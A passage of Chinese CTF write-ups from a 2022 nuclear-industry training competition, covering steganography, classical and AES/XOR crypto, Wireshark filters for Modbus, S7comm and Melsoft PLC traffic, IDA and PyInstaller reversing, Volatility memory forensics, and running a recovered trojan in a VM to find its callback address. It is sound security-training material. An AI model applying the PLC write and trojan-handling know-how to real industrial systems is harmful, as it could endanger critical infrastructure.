参加历年网络安全竞赛wp（2022年起持续更新）

2022.10、核能行业赛道·福清·培训MISC

0x00、写在前面

CTF杂项、密码学基础、逆向、工控协议、渗透及常用工具和例题。

0x01、Aesop【AES对称加密、gif隐写】

题目是一个名为Aesop.gif的动图。

放入010Editor里查看一下，发现gif尾部还隐写了一个字符串

U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==

看到U2Fs应该先想到对称加密——AES，AES是需要秘钥的，接着找秘钥。

分frame查看共9个frame，用Stegsolve工具中的 ImageCombination 将他们拼成一张图片。里面写着ISCC，猜测这是秘钥。

然后两次AES解密，得到 flag{DugUpADiamondADeepDarkMine}

0x02、DIO【png隐写、base64】

题目是一个png图片，binwalk一下发现里面有2个png图片，用 binwalk -d=PNG -e DIO.png 提取出两张图片。

第一张1.png是一个二维码，解码得到Useful_Massage_1(SVNDQyU3QmZsQGdfaXN)，看来还有另一段有用的信息。

第二张2.png和DIO.png一样图案，用Stegsolve - Data Extract - RGB0Planes LSB 可以看到 LSB 隐写，Useful_Massage_2(fa09fTjBfRCUyMW9fZGFhYWElMjFfXyU3RA==)

两端有用信息拼接得到 SVNDQyU3QmZsQGdfaXNfa09fTjBfRCUyMW9fZGFhYWElMjFfXyU3RA== 再 base64解密一下得到 ISCC{fl@g_is_kO_N0_D!o_daaaa!__}

0x03、message【八进制、base64】

message是一段编码，看着都是0开头盲猜是8进制编码

0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113

写个脚本验证一下，得到 

V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K

octs = ['0126', '062', '0126', '0163', '0142', '0103', '0102', '0153', '0142',
        '062', '065', '0154', '0111', '0121', '0157', '0113', '0111', '0105',
        '0132', '0163', '0131', '0127', '0143', '066', '0111', '0105', '0154',
        '0124', '0121', '060', '0116', '067', '0124', '0152', '0102', '0146',
        '0115', '0107', '065', '0154', '0130', '062', '0116', '0150', '0142',
        '0154', '071', '0172', '0144', '0104', '0102', '0167', '0130', '063',
        '0153', '0167', '0144', '0130', '060', '0113', ]

c = ''
for s in octs:
    c += chr(int(s, base=8))
print(c)

再base64解码一下得到 Well done! Flag: ISCC{N0_0ne_can_st0p_y0u}

0x04、mirage-1【word本质是zip】

mirage-1题目内容是一个word文档。知识点：word是基于zip格式的超文本文件，可以通过更改扩展名验证。比如把一个 a.doc 改成 a.zip 就可以解压缩，其中 word/media 目录下存放word文件的图片。

面对这个 mirage-1.doc，先打开看看，发现是乱码，乱码以 PK 开头正好符合zip文件格式特征。把 mirage-1.doc 改名为 mirage-1.zip 解压缩。发现进入两层目录后是word文件的内容。

把这些目录（注意不包括外层目录）重新压缩成 mirage-2.zip，再把 mirage-2.zip 改名为 mirage-2.doc，再打开看一下。发现有提示 “Flag在这里呦！”。

 全选所有内容，编辑字体，找到“隐藏文字”，取消勾选，就出现了 ISCC{zheshishui}

0x05、high【png隐写、维吉尼亚密码】

high.png丢进010Editor里面，发现CRC32校验报错，那么爆破一下得到完整图片，下方有ISCC{D3tivtm_zv_Tq5I_Dygef}

'''
Vigenere cipher is an advanced Caesar cipher.
'''

TAB = ['ABCDEFGHIJKLMNOPQRSTUVWXYZ',
       'BCDEFGHIJKLMNOPQRSTUVWXYZA',
       'CDEFGHIJKLMNOPQRSTUVWXYZAB',
       'DEFGHIJKLMNOPQRSTUVWXYZABC',
       'EFGHIJKLMNOPQRSTUVWXYZABCD',
       'FGHIJKLMNOPQRSTUVWXYZABCDE',
       'GHIJKLMNOPQRSTUVWXYZABCDEF',
       'HIJKLMNOPQRSTUVWXYZABCDEFG',
       'IJKLMNOPQRSTUVWXYZABCDEFGH',
       'JKLMNOPQRSTUVWXYZABCDEFGHI',
       'KLMNOPQRSTUVWXYZABCDEFGHIJ',
       'LMNOPQRSTUVWXYZABCDEFGHIJK',
       'MNOPQRSTUVWXYZABCDEFGHIJKL',
       'NOPQRSTUVWXYZABCDEFGHIJKLM',
       'OPQRSTUVWXYZABCDEFGHIJKLMN',
       'PQRSTUVWXYZABCDEFGHIJKLMNO',
       'QRSTUVWXYZABCDEFGHIJKLMNOP',
       'RSTUVWXYZABCDEFGHIJKLMNOPQ',
       'STUVWXYZABCDEFGHIJKLMNOPQR',
       'TUVWXYZABCDEFGHIJKLMNOPQRS',
       'UVWXYZABCDEFGHIJKLMNOPQRST',
       'VWXYZABCDEFGHIJKLMNOPQRSTU',
       'WXYZABCDEFGHIJKLMNOPQRSTUV',
       'XYZABCDEFGHIJKLMNOPQRSTUVW',
       'YZABCDEFGHIJKLMNOPQRSTUVWX',
       'ZABCDEFGHIJKLMNOPQRSTUVWXY', ]


def encode(m_text, key):
    key_index = 0
    c_text = ''

    for i in m_text:
        if i.islower() or i.isupper():
            row = ord(i.upper()) - ord('A')
            col = ord(key[key_index].upper()) - ord('A')
            if i.islower():
                c_text += TAB[row][col].lower()
            else:
                c_text += TAB[row][col]

            key_index += 1
            if key_index >= len(key):
                key_index = 0
        else:
            c_text += i
    return c_text


def decode(c_text, key):
    key_index = 0
    m_text = ''

    for i in c_text:
        if i.islower() or i.isupper():
            for line in TAB:
                if line[ord(key[key_index].upper()) - ord('A')] == i.upper():
                    if i.islower():
                        m_text += line[0].lower()
                    else:
                        m_text += line[0]

                    key_index += 1
                    if key_index >= len(key):
                        key_index = 0
                    break
        else:
            m_text += i
    return m_text


if __name__ == '__main__':
    m = 'W3lcome_to_Mi5C_Wryyy'
    k = 'high'
    print(encode(m, k))

    c = 'D3tivtm_zv_Tq5I_Dygef'
    print(decode(c, k))

在用维吉尼亚密码加密解密（这个我没有想明白为什么是这种加密，瞎J8试出来的？），秘钥就是文件名high，解密得到 ISCC{W3lcome_to_Mi5C_Wryyy}

0x06、fun_encode-1【zip文件格式】

 fun_encode-1.zip解压缩还是fun_encode-1.zip，但是这个fun_encode-1.zip是有备注信息的（明显是jpg图片）

用010Editor粘贴出来jpg图片，得到解压缩密码。

解压得到 clue.txt 和 flag.zip 两个文件。clue.txt 里面写的“你看到的不一定就是真的哦！” 。再打开 flag.zip，发现备注是“与熊论道”编码，通过与熊论道/熊曰加密 - PcMoe! 得到密码password。但是发现这个密码不对！

再自习看看flag.zip的备注，有滚动条，拉到最下方发现新大陆——“新与佛论禅”。通过新约佛论禅/佛曰加密 - PcMoe! 得到密码 P@ssW0rD

 再解压缩，得到 ZmxhZ3tTdWNDM3NTX3QwX0JAczMhfQ== ，最后base64解码得到 flag{SucC3sS_t0_B@s3!}

0x07、美丽的菊花【zip文件格式、word本质是zip】

美丽的菊花……以下将题目简称m.zip。解压缩得到一张png格式图片，内容是一朵菊花，没有有价值的信息。010Editor打开发现尾部隐藏了一个zip文件，binwalk一下分离出m1.zip。打开发现有备注（需要拉到底下才能看到）。

用010Editor粘贴成 pass.png，发现CRC32报错，爆破一下宽高，得到完整图片，于是得到解压缩密码 Hel10_fL@g，解压缩得到flag文件。

打开这个没有扩展名的文件，发现是个zip，于是改名flag.zip。打开flag.zip发现是word，于是改名flag.doc。打开 flag.doc 编辑字体，找到“隐藏文字”，取消勾选，看到文档地步有  flag{Go0d_jOβ_You_f1nD_m3!}

0x08、sound.wav【音频隐写、频谱图】

010Editor、binwalk没有发现sound.wav的异常。Audacity打开看波形也没有问题。

左侧空白处点右键，选择频谱图，得到 flag{e5353bb7b57578bd4da1c898a8e2d767}

0x09、disco.wav

disco.wav播放出来是羊了个羊的BGM，用Audacity打开看波形图，在最开始有一些有规律的波形。上为1，下为0，得到105个01组成的字符串。110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101

105=3×5×7，因ascii字符集是0x00-0x7F，所以7个一组，2进制数对应ascii字符就是 flag{W0W*funny}

2022.10、核能行业赛道·福清·培训ICS

0x00、常见工控协议端口

协议	通信	端口	备注
Siemens	TCP	102	西门子s7comm
Modbus	TCP	502	施耐德modbus
IEC-60870-5-104	TCP	2404
DNP3	TCP	20000
EtherNet/IP	UDP	44818
BACnet	UDP	47808
Tridium Niagara Fox	TCP	1911
Crimson V3	TCP	789
OMRON FINS	TCP	9600	欧姆龙omron
PCWorx	TCP	1962
ProConOs	TCP	20547
MELSEC-Q	TCP	5007	三菱重工私有协议

0x01、modbus工控协议&虚拟环境

模拟modbus工作。在宿主机上运行ModbusPal.jar（jdk1.8环境）作为server端，添加1个编号为6的client，并添加8个寄存器、8个线圈，来模拟modbus读写过程。

在win7虚拟机上运行qModMaster模拟作为client端，注意client端编号6要和server端对应。然后连接。可以根据功能码，读写一个或多个寄存器的值。

然后wireshark抓包，模拟读写关键信息，我们以把8个寄存器都写成0x66为例抓包。

0x02、s7comm工控协议&虚拟环境

宿主机运行s7server中的serverdemo.exe作为server端。点击start，查看DB1、DB2、DB3的数据。

win7虚拟机中运行s7clientdemo.exe作为client端。IP为server的IP，点击connect，然后就可以读写DB1、DB2、DB3的数据了。

用wireshark抓包，向DB3的起点0开始的16个字节写入0x7F。

 

读、写、LED等关键信息，用以下方式过滤

读操作  s7comm.param.func == 0x4
写操作  s7comm.param.func == 0x5
led操作 s7comm.data.userdata.szl_id==0x0074

0x0200、FU【s7comm写操作】

wireshark打开FU.pcapng协议分级发现s7comm协议，过滤s7comm写功能，同时过滤数据方向。每个数据包第一个数据拼起来就是 flag{FA_FB_FU}

s7comm.param.func==0x05 && ip.src_host==172.16.1.100

0x0201、LED_BOOM 【s7comm协议LED操作】

LED_b0omb0om.pcapng，攻击者成功拿到一台上位机，并进行了非法操作，我们的监测组发现核电站内的LED灯间断的闪烁了三下，你跟根据监测组留下的线索，成功破案攻击者的行为吗，提交形式为flag{}。tips:听说闪烁三次的行为对应三个返回包，将他们的包号排列组合会得到你要的结果。

图片U2Fs表明是对称加密的密文

U2FsdGVkX19cOOV8qLVgcso8U4fse+7LirQKiHFkn9HU9BuwFAivH1siJXg/Rk6z

在LED_b0omb0om.pcapng里找到LED操作的3个包号就是秘钥。如下过滤出三个包585、692、787，用秘钥585692787解密得到flag{tietie_tietie_tiet13}

s7comm.data.userdata.szl_id==0x0074 && ip.src_host == 172.16.1.3

0x03、三菱重工私有协议

因为是私有协议，只能通过TCP5007端口来分析，下面是一个师傅总结的命令（大差不差）。使用时这样过滤，我们以写入文件命令1829为例。

tcp.port == 5007 && tcp.segment_data contains 1829

 

描述：三菱系列PLC，Melsoft 私有协议，通过 wireshark 抓取组态软件与 PLC 的通信报文即可获得控制 PLC 的数据包 first_mel.pcapng，但是由于 Melsoft 协议私有所以没有具体定义，需要你来解析其中的操作，提交 flag 格式为 DASCTF{} 。

按照一下方式过滤数据，得到数字对应ascii为 dasctf{c4N_U_4n4lysis_m31s0ft}

tshark -r first_mel.pcapng -T fields -e 'tcp.segment_data' -Y 'tcp.port == 5007 && tcp.segment_data contains 1829' > f.txt

0x04、其他工控协议

欧姆龙 OMRON FINS，协议筛选

客户端发送命令 omron.command.data
服务端返回数据 omron.response.data
服务端返回数据中搜可能存在的base64密文 omron.response.data contains "=="

IEC104通信协议，筛选 iec60870_104 即可

iec60870_104

2022.10、核能行业赛道·福清·培训逆向

0x00、逆向工具IDA

针对32、64程序，相应使用IDA、IDA64工具

空格最大化

按ctrl+f，找main函数
按F5，查看伪代码

按shift+F12，看所有字符串

按ctrl+x，查看那个命令调用了这个字符串

按r，将十进制数转换为字符串
按shift+e，提取字符串，自动识别大端序、小端序

 

按n，重命名变量
按/，在反编译代码中添加注释

修改了xyz变量名就很好理解了，按ad控制x方向-+，按ws控制y方向-+，按oi控制z方向-+。

交叉引用 X
跳转到指定地址 G

 

0x01、以step_by_step.exe为例

其实前面0x00已经开始逆向step_by_step.exe了。初步分析要走一个三维迷宫，从@经过*走到&，键盘ad控制x的-+，键盘ws控制y的-+，键盘oi控制z的-+。经过分析，变量v49和v50一共有21*16+7个字符，正好形成一个7*7*7的迷宫，用shift+e提取一下再按照7*7*7分组即可得到迷宫。起点@正好位于正中心。所以初始坐标是(3,3,3)。

z[0]
##****#
##*##*#
#######
###***#
###*#*#
###*#*#
###*###
z[1]
#######
#**##*#
#######
######*
**####*
#**###*
##**##*
z[2]
##**###
#*#*#*#
#*#***#
#**###*
##****#
#######
######*
z[3]
***####
*######
*######
*##@##*
*####**
#######
######*
z[4]
#######
#######
####**#
###**##
**#####
#**####
##***#*
z[5]
#######
#*#####
#*###*#
**###*#
####*##
####*##
####*#*
z[6]
#***###
#*#****
######*
*####**
*****##
#####&#
#####**

所以，按照上面的二维数组为z坐标，每个二维数组 行是y坐标，列是x坐标，定义坐标为（z,y,x）。迷宫从起点@(3,3,3)到终点&(6,5,5)的*通路坐标如下，通路对应的字符串如下
idwdisidwwaaawaasossaisddddossoaawawaowwwwddodssddwoowaaasiaissdsdddidwoosssiiiiiaw

(3, 3, 3)->(4, 3, 3)->(4, 3, 4)->(4, 2, 4)->(4, 2, 5)->(5, 2, 5)->(5, 3, 5)->(6, 3, 5)->(6, 3, 6)->(6, 2, 6)->(6, 1, 6)->(6, 1, 5)->(6, 1, 4)->(6, 1, 3)->(6, 0, 3)->(6, 0, 2)->(6, 0, 1)->(6, 1, 1)->(5, 1, 1)->(5, 2, 1)->(5, 3, 1)->(5, 3, 0)->(6, 3, 0)->(6, 4, 0)->(6, 4, 1)->(6, 4, 2)->(6, 4, 3)->(6, 4, 4)->(5, 4, 4)->(5, 5, 4)->(5, 6, 4)->(4, 6, 4)->(4, 6, 3)->(4, 6, 2)->(4, 5, 2)->(4, 5, 1)->(4, 4, 1)->(4, 4, 0)->(3, 4, 0)->(3, 3, 0)->(3, 2, 0)->(3, 1, 0)->(3, 0, 0)->(3, 0, 1)->(3, 0, 2)->(2, 0, 2)->(2, 0, 3)->(2, 1, 3)->(2, 2, 3)->(2, 2, 4)->(2, 2, 5)->(2, 1, 5)->(1, 1, 5)->(0, 1, 5)->(0, 0, 5)->(0, 0, 4)->(0, 0, 3)->(0, 0, 2)->(0, 1, 2)->(1, 1, 2)->(1, 1, 1)->(2, 1, 1)->(2, 2, 1)->(2, 3, 1)->(2, 3, 2)->(2, 4, 2)->(2, 4, 3)->(2, 4, 4)->(2, 4, 5)->(3, 4, 5)->(3, 4, 6)->(3, 3, 6)->(2, 3, 6)->(1, 3, 6)->(1, 4, 6)->(1, 5, 6)->(1, 6, 6)->(2, 6, 6)->(3, 6, 6)->(4, 6, 6)->(5, 6, 6)->(6, 6, 6)->(6, 6, 5)->(6, 5, 5)

 结合程序逆向分析，应该是输入一个key得到flag。

dxbtxdfrdejghcduvpvsbmpeizuqjllofqlgtwbobuohthrekbpchxhqtkvfjcftzcqjpjxdlqtqdvladil 到底是不是flag呢？

0x03、Python逆向

python脚本用pyinstaller打包成.exe文件，都可以使用 pyinstxtractor.py 和 uncompyle6 来逆向得到源代码。

pyinstxtractor.py 下载地址 GitHub - extremecoders-re/pyinstxtractor: PyInstaller Extractor

uncompyle6 的安装 sudo python3 -m install uncompyle6

我们以本次比赛题目 pyc_python.exe为例来记录逆向过程。

先把 pyc_python.exe 和 pyinstxtractor.py 放在同一目录下，然后执行，可以看到报错

python pyinstxtractor.py pyc_python.exe

针对“Error : Unsupported pyinstaller version or not a pyinstaller archive”打开pyinstxtractor.py看一下源代码。读取pyinstxtractor源码可知

pyinstaller打包.exe文件的 MAGIC 值是 0x4D45490C0B0A0B0E

pyinstaller 2.0    打包的.exe倒数第24字节开始是MAGIC
pyinstaller 2.1+  打包的.exe倒数第88字节开始是MAGIC

没有找到pyinstaller打包在.exe中的 MAGIC 就报错

因此判断这个pyc_python.exe被篡改了，用010Editor打开后手动删除文件尾部多余数据，如图FF之后选中的都删掉。另存为 pyc_python_pyinv21.exe，使之能得到正确的MAGIC。

再用 python pyinstxtractor.py pyc_python_pyinv21.exe 成功逆向，得到pyc文件。同时也看到打包的python版本是3.7，这个版本号后面会用到。

目录多了一个pyc_python_pyinsv21.exe_extracted，里面有很多不带扩展名的文件，其实就是pyc文件。找到与程序名相同的，手动改名为 pyc_python.pyc。

接下来使用uncompyle6逆向得到源代码。注意语法 uncompyle6 -o <your.py> <your.pyc>顺序不能调换。

uncompyle6 -o pyc_python.py pyc_python.pyc

又遇到报错是因为pyc文件的MAGIC也被抹掉了。pyc文件的前4个字节是python版本号，因此pyc文件的MAGIC因为python版本不同而有所不同，如下截取了pyc文件的前16个字节。

python2.7   0x03f3 0d0a da08 a464 6300 0000 0000 0000

python3.0   0x3b0c 0d0a a97a 9562 6300 0000 0000 0000

python3.1   0x4f0c 0d0a a97a 9562 6300 0000 0000 0000

python3.2   0x6c0c 0d0a a97a 9562 6300 0000 0000 0000

python3.3   0x9e0c 0d0a a97a 9562 c700 0000 6300 0000

python3.4   0xee0c 0d0a a97a 9562 c700 0000 e300 0000

python3.5   0x170d 0d0a a97a 9562 c700 0000 e300 0000

python3.6   0x330d 0d0a a97a 9562 c700 0000 e300 0000

python3.7   0x420d 0d0a 0000 0000 a97a 9562 c700 0000

python3.8   0x550d 0d0a 0000 0000 a97a 9562 c700 0000

python3.9   0x610d 0d0a 0000 0000 7c0e a464 1800 0000

python3.10 0x6f0d 0d0a 0000 0000 e20d a464 1800 0000

python3.11 0xa70d 0d0a 0000 0000 da08 a464 0d00 0000

前面提到是Python3.7，那么MAGIC是 42 0D 0D 0A 00 00 00 00 80 DB 09 63 44 01 00 00，添加到最开始一行（E3前面，也就是不可识别的magic number 227），另存一下。

再 uncompyle6 逆向就得到源代码。

 剩下的就是分析代码的事了

# uncompyle6 version 3.8.0
# Python bytecode 3.7.0 (3394)
# Decompiled from: Python 3.6.13 |Anaconda, Inc.| (default, Mar 16 2021, 11:37:27) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: pyc_python.py
# Compiled at: 2022-08-27 16:53:20
# Size of source mod 2**32: 324 bytes
import base64
x = 265
y = 265
if __name__ == '__main__':
    line = []
    flag = ''
    cryp = ''
    key = 17
    with open('flag.txt', 'r') as (f):
        data = f.readline()
    if data is None:
        print('flag.txt is NULL, please try again!')
    for symbol in data:
        if symbol.isalpha():
            num = ord(symbol)
            num += key
            if symbol.isupper():
                if num > ord('Z'):
                    num -= 26
            else:
                if num < ord('A'):
                    num += 26
                else:
                    if symbol.islower():
                        if num > ord('z'):
                            num -= 26
                        else:
                            if num < ord('a'):
                                num += 26
                flag += chr(num)
        else:
            flag += symbol

    flag = flag.encode(encoding='utf-8')
    s = base64.b32encode(flag)
    l = list(s)
    for x in l:
        cryp += chr(x ^ 24)

    print(cryp)

2022.10、核能行业赛道·福清·比赛writeup

0x00、签到

0x01、evidence【内存取证、volatility】

evidence.raw是一台被入侵电脑的内存镜像文件。注意 volatility 工具的使用，具体见https://blog.csdn.net/qpeity/article/details/127150169

先走一遍流程，pslist查看进程列表 、malfind查看可能别注入的恶意代码、netscan查看谁在外链、iehistory查看历史浏览记录，几个结果对比一下发现 something.exe Pid:656 的进程不太正常。这里只截图重要的部分。

volatility -f evidence.raw imageinfo
volatility -f evidence.raw --profile=Win7SP1x64 pslist | egrep (flag|key|hint|something)
volatility -f evidence.raw --profile=Win7SP1x64 malfind | egrep (flag|key|hint|exe|something)   
volatility -f evidence.raw --profile=Win7SP1x64 netscan | egrep (flag|key|hint|something)    
volatility -f evidence.raw --profile=Win7SP1x64 iehistory | egrep (flag|key|hint|something|224.0.0.252|192.168.159.2)

因访问了一个名为 something.jpg 的文件，猜测其有线索，所以 filescan 一下还真有，dumpfiles出来。

volatility -f evidence.raw --profile=Win7SP1x64 filescan | egrep (flag|key|hint|something) 
volatility -f evidence.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007f41c9f0 -D ./  

something.jpg 隐写了一个 rar 文件。binwalk可以提取到加密的 flag.rar 文件，密码没能找到，赛事方提供了hint（password：c3b8A~tt），解压后是flag.txt，得到 flag{g1ad_u_g0t_me_bro}

0x02、DFKM【s7comm工控协议、脑洞、MISC】

题目描述:发电厂被入侵，分析得到流量包等信息，木马外连IP地址和端口，flag格式为 flag{IP:Port}。DFKM.zip文件解压码59e40fd9aa42fe53537c98d6223b683e。里面有3个文件: 1.rar 、DFKM.pcapng、遗失的章节.png。比赛中给出Hint-5如下

【Hint-5】S7写文件操作拼接，补充图片中的9z后得到4nKa4SKCFvtGZzzSaKTnaTf3mzDfp29z1HE3VhjhXYubECGxtKA3oyeEjU7EsPEYoPwAfqevpGndd18R85r9tMyZTLqUdsvfnL48gTaG9RAULrZ7qy1x7CSCP2bLqX2y1kUmQ9WBsmo3xobmLLBcx8ZVSKqrdKjpWS3
然后再考虑下base58？
bubble？
木马回连地址？

流量包用Wireshark-统计-协议分级，观察到西门子工控设备协议s7comm。过滤s7comm协议写操作 s7comm.param.func==0x05 && ip.src_host==10.30.3.150 ，得到7个写操作的包。提权出7行data。第2行base64解码得到http://www.hiencode.com/bubble.html地址，这是个BubbleBabble密码解密网站。第7行是 哈哈哈！追踪流好玩吗？

4nKa4SKCFvtGZzzSaKTnaTf3mzDfp2

aHR0cDovL3d3dy5oaWVuY29kZS5jb20vYnViYmxlLmh0bWw=
(base64  http://www.hiencode.com/bubble.html)

1HE3VhjhXYubECGxtKA3oyeEjU7EsPEY
oPwAfqevpGndd18R85r9tMyZTLqUdsvf
nL48gTaG9RAULrZ7qy1x7CSCP2bLqX2y
1kUmQ9WBsmo3xobmLLBcx8ZVSKqrdKjpWS3

HA!HA!HA!ZHUI-ZONG-LIU-HAO-WAN-MA???

 

接下来有点碰运气了，把这剩余的5行数据和遗失的章节.png图片内容 9z 拼接在一起，用随波逐流一顿暴力破解，看哪个顺眼一点就尝试一下，得到下面这个完整的编码（不给Hint肯定想不到的）

4nKa4SKCFvtGZzzSaKTnaTf3mzDfp29z1HE3VhjhXYubECGxtKA3oyeEjU7EsPEYoPwAfqevpGndd18R85r9tMyZTLqUdsvfnL48gTaG9RAULrZ7qy1x7CSCP2bLqX2y1kUmQ9WBsmo3xobmLLBcx8ZVSKqrdKjpWS3

随波逐流第一次一键解码，base58解码得到:   xival-favyk-lynik-nytik-zytil-hymik-capik-rutak-cipel-cipyk-curyk-mimik-zumel-hopyk-ciryl-numyf-figed-cabud-funid-hoxex

随波逐流第二次一键解码，BubbleBabble解码得到:   xs9geiwowubaikuaiqianhaobuhaoya3Q!@#$%

用这个“xs就给我五百块钱好不好呀3Q”作为密码解压缩1.rar，得到1.docx文件。

把这个内容Hex方式粘贴到010Editor里，另存为1.exe文件，猜测这个就是木马。在虚拟机里执行 1.exe，然后 netstat -ano 观察有无可疑外连地址端口，发现一个。得到 flag{10.30.7.110:9528}

其实这个1.exe里面也被篡改过，在用010Editor打开时发现报错，但不影响你运行1.exe得到flag。复盘讲解这行1111要都改成0000，改完1.exe打开不报错但运行报错，关于exe文件格式我有待研究啊……

0x03、modbus_crypto【modbus工控协议】

modbus_crypto.pcapng 用Wireshark打开直奔施耐德的modbus工控协议。筛选写功能 modbus.func_code==16

发现就6个写功能的包，找到可疑数据ZmxhZ3ttMGRidTVfcHIwdG9jMGx9，随波逐流尝试一下发现是base64编码，得到flag{m0dbu5_pr0toc0l}

0x04、cheki【隐写、zip密码爆破、逆向、杂项编码】

附件就只有一个cheki.gif动图，肯定有隐写。先尝试binwalk，发现有gif、jpg、zip，但发现提取不出来。再尝试foremost提取就出来了，有1个cheki-2.gif、7个jpg、1个被加密的exe.zip。

这7个jpg文件似乎可以拼图，拼一行对不上，拼两行不完整，看来要用这cheki.gif和7个jpg图片找出zip文件的解压密码。

用stegsolve查看cheki.gif，有另外7个frame，刚好可以14个jpg拼两行拼图。

stegsolve-Analyse-Frame Browser，保存7个frame得到另外7个jpg。拼完了是这样的。

猜测这个是zip解压缩密码的一部分，被涂抹的有4-5个字符，用ARCHPR进行掩码爆破，勾选大小写字母、数字、特殊字符，掩码为 X~%x@?????Ls7#。大概3分钟得到密码 X~%x@7Sp){Ls7#

解压缩得到 flag.exe 和 key.exe。执行flag.exe，回显You want the flag? Give me your key。执行key.exe，回显 If you want key, please wait，然后是3000秒倒计时，等计时结束他嘲讽你“You believe this, Are you a clown?”。所以要逆向key.exe得到key。

DIE查壳，发现key.exe有壳且是64位的。upx -d key.exe -o key1.exe 脱壳。用 IDA64 打开 key1.exe，找到 main，F5反汇编。基本判断出 key 是 G9b0Y,w3lLj0B!

再来到 flag.exe，输入 G9b0Y,w3lLj0B!，得到 2w6zoHynAnpZBS6kS，base64解码得到第一段 flag{m1r3_iS 。看来还有其他的内容。注意，得到 2w6zoHynAnpZBS6kS 之后 flag.exe 并未结束会到命令行。等待片刻，得到下文。 

 看样子像个zip文件，只是有部分内容被篡改了。Hex复制到010Editor里，存成 flag.zip。

打开发现原来是个word，那么重命名为 flag.doc。 打开flag.doc内容，发现是“社会主义核心价值观”编码，解码后得到BrainF*ck编码。BrainF*ck解码后得到第二段 _r3@llY_ 。第三段还在flag.doc，调整字体取消“隐藏文字”，得到第三段 fvnNy!}。所以最终得到 flag{m1r3_iS_r3@llY_fvnNy!}

0x05、strings_rsa【日志分析、RSA】

一份遭入侵服务器的日志文件，看名字和RSA算法也有关系。日志分析要找黑客得手位置的，特征是在此之前 HTTP 返回状态码是4xx，得手后是 200。所以在日志文件里找这种情况，找到了……

同时看到了异常的参数传递 p、q、c、e，按照RSA算法算出私钥，解密即可

flag{Y0u_4r3_S0_Beaut1ful}

0x06、oxr

已知key1长度15字节，key2长度31字节。看代码得知加密算法是异或xor，content被2个秘钥key1、key2分别加密，得到密文enc1、enc2。content是flag和一个随机字符串拼接出来的字符串。

import random
from secret import flag, key1, key2


def xor(a, b):
    return str(chr(a ^ b)).encode('latin')


def encode(content, key):
    tmp = b""
    for i in range(len(content)):
        tmp += xor(content[i], key[i % len(key)])
    return tmp


random_str = ''.join(chr(random.randint(1, 256)) for _ in range(512)).encode()

content = flag + random_str

enc1 = encode(content, key1)
enc2 = encode(content, key2)

print(enc1)
print(enc2)

# b'\x1e\x07T\xa4%5|\xb0\x9d\xf3U\x9c\x90\xf3\x9d\x1e>[\xad\'\x12"\xf0\xf1\xa3U\xa7\xa5\xf1\xf1\x1d\x16V\x87\x9d\xeau\xb9\xe2\x00\xaa\x01B\x01P3\xa9\xab\x87,p\x19\x01S\xf0\x15\x00R\x99\x01\xd58\xf6e(\x8f\xa4\x00K\x00\x93\x00D\xfa\x00\xcf\xa8\x83\x83J],\x01Y\xb6v\x01n\x01B\xbb\xf4\xf6d\x9d\xc3\xd0}\x01q\x17\xde\xaf\x00zT\xa8\x9b\x9f\x9c\xf0\xd1]\xd1\x01\x9f\x01F\x01@\xba\xe2\xf1C\n\x8f\xb9\xaa\x00[n\x00l\x01|{\xa8\x81\xd5\x9c\xfe#\xe7\xd3\xe5d\xee\x9b\xf7\x00\xf0n\xf7y\x9d\xe0\xd1l\x8e\x00\xa7\xe8\xa8\x01\x7f+\xa9\xbb\x94%b\xd1U\x00^\xe5v\xb2\xbf\x95n\xa8\xaf\x07\xdee\xd1f\x00V\x12\xfb\xe1\x01G\x0b\xa9\xb4\x00\xf4\x8e\x90\x93\x00L\\\xd1\xb4\x01b\xbb\xea\xf7K\x9c\xd8\xd1A\x00g\xe2C\xc1\xf5\xf48y\xf7N\x9c\xc2\xd1L\xd3\x94\xe5l\x83\x01yg,e\xf7\x9a\xcd\xd1W\x00|\x1c\x00R\xfc\xc6\xbb\xc2\xf6y\x9d\xe3\xd1L\x00jU\xae\xb4\xe9\x01\xd9\xa9\xbf\xf986F\x01q\xd9\xe4{\x01J\x00\xdc\xa9\x82\x01\xff\x8e\xb4\x00N\xa8*\x00P\xac\x8a\xba\xe0\xf6|Q\x8f\x99\xcd\x00\\]\xb3\x9f\x01x\xba\xd4\xf7m\x9c\xdf#\x01Y\x00\x8c\x88\xe3\x01t\x048\xf6s\x9c\xfcF\x8e\x01D3\x97\x00g\x00\xea3\xf6J\x9a\xcd)\xb8\x01h\xe5C\x01|\x00\xce\xa8\xba\x00\xf6\x8e\x8e\xde\x00b%\x00\x7f\x01}\xba\xcb0\x89Y\tH\xe3\xaf\x00\x92\x88\xab\xee\xda\x1b\xa8\x92\x00\xd8&\xd0\\\x06B\xe4i\xdd\x00h\xbb\xcf\xf7@(\x1c@\xcc\xc7\xa9l\x00J\xbb\xe0\xbb\xd0\xf7w\x9c\xdc\xd1h\x01k(\x00R\xbe\xdfD|\xf6s\x1b\x8e\xa7\x00H\x00\xa9\x00G\xb8\xbc\x1cw&\xc6\x11\x8f\xbe\x01i\x00\x85\x01\\\x00X\xbb\xd8\xf6T\x08\x8f\x91\x01N\xf9\xe5k\x01g\x00\xe6\xa8\x9d\xd2\x9d\xdd\x1f\xee\xd3\x01\xb6\x01h\xd1\x00\xc5\xa9\x86\x8a\x9c\xe8\xd1y\x95\x01\xae\x00O\x00C\xba\xfe+\x00\xc3\x8f\xb3\xfe\xda\x00\xa9\x01t\x00C\xbb\xec;\xe16\x8f\x8c\x01W\xe9\xe5e\x82\x9b\x01\xdb\x18\xf6~u\x8e\xa7\x01C\xf8\t\xbf\xdb\xba\xa8\x12Cs\x01\xfd\x8e\x94\xea\xf6\xd9\xe4U\xd5\x01p\xbb\xcd\xf7s\x9c\xd3\xd0W\xc7\x00\xab\x00J\x8e\xef\xba\xd2\x14\x00\xd6\x19\x1d\x01}\x01\x92\x00h\x93\xe4\xba\xf2\xf7Aba\xd0\